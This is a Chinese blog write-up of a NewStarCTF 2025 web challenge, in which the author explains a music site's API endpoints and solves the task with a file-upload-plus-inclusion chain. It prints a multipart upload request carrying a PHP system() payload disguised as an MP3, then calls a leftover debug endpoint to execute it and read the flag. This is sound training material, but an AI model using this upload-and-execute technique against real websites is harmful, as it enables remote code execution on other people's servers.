(newstarCTF2025/web/week2)白帽小K的故事(1)

  1. 白帽小 K 的故事(1)
    1. 理解接口
    2. 后门端口
    3. 总结

白帽小 K 的故事(1)

提示是接口,接口的话我不了解,js代码我也看不懂,只能问ai了。。。

理解接口

接口简单来说就是前端把数据发给一个页面,后端处理后再返回数据

fetchList()
作用:从后端获取音乐文件列表并渲染到页面上。

playMusic(filename, itemDiv)
作用:播放指定的音乐文件,并更新界面高亮当前播放项。

uploadFiles(files)
作用:将用户选择的 MP3 文件逐个上传到后端。

fetchload(file) (标注 TODO)
作用:这是一个待删除的测试函数,用于向后端请求某个文件的内容(可能是读取文件元数据或加载歌词等)。

比如我们访问一下fetchList对应的页面/v1/list

list

发现这个页面返回了当前所有的歌曲

再比如我想上传音乐,就访问/v1/upload

upload

这里的请求包需要添加

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ2EVGl79cALSQ7JI

------WebKitFormBoundaryJ2EVGl79cALSQ7JI
Content-Disposition: form-data; name="file"; filename="114.mp3"
Content-Type: audio/mpeg

<?php system("cat /flag");?>
------WebKitFormBoundaryJ2EVGl79cALSQ7JI--

才能上传成功(这里的cat /flag写错了请无视 QAQ)

再看一下playMusic对应的页面/v1/music,通过GET方法提交file的名字

music

就能读取到文件内容

通过这些例子可知端口实际上就是在处理数据而已,非常容易理解

后门端口

看一下这个要删除的端口

// TODO:
// 小岸同学到时候记得把这个函数删掉
async function fetchload(file) {
    try {
            const res = await fetch('/v1/onload', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: `file=${encodeURIComponent(file)}`
            });
            const data = await res.json();
            if (data.success) {
                console.log('File content:', data.success);
            } 
            else {
                console.error('Error loading file:', data.error);
            }
        } 
    catch (e) {
            console.error('Request failed', e);
    }
}

在控制台运行fetchload(star.mp3)

deepseek告诉我这个报错是因为服务器试图把 star.mp3 这个 MP3 音频文件当作 PHP 代码来执行,结果在文件里发现了非法字符(MP3 的二进制数据),所以报错

那太好了,直接改成file=91.mp3(这个91.mp3是cat /flag,之前的写错了。。。)

flag

flag{f4f11b5a-393e-b807-c218-e695151ff5ee}

总结

这道题实际上是想考察我们对端口的理解,和文件上传关系不大

以及我们需要对js代码有一定的理解能力(但是我没有QAQ),以前我有点看不起js,现在看来还是有点重要的,应该多学点(但是现在还是靠ai吧嘻嘻)


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至2679413348@qq.com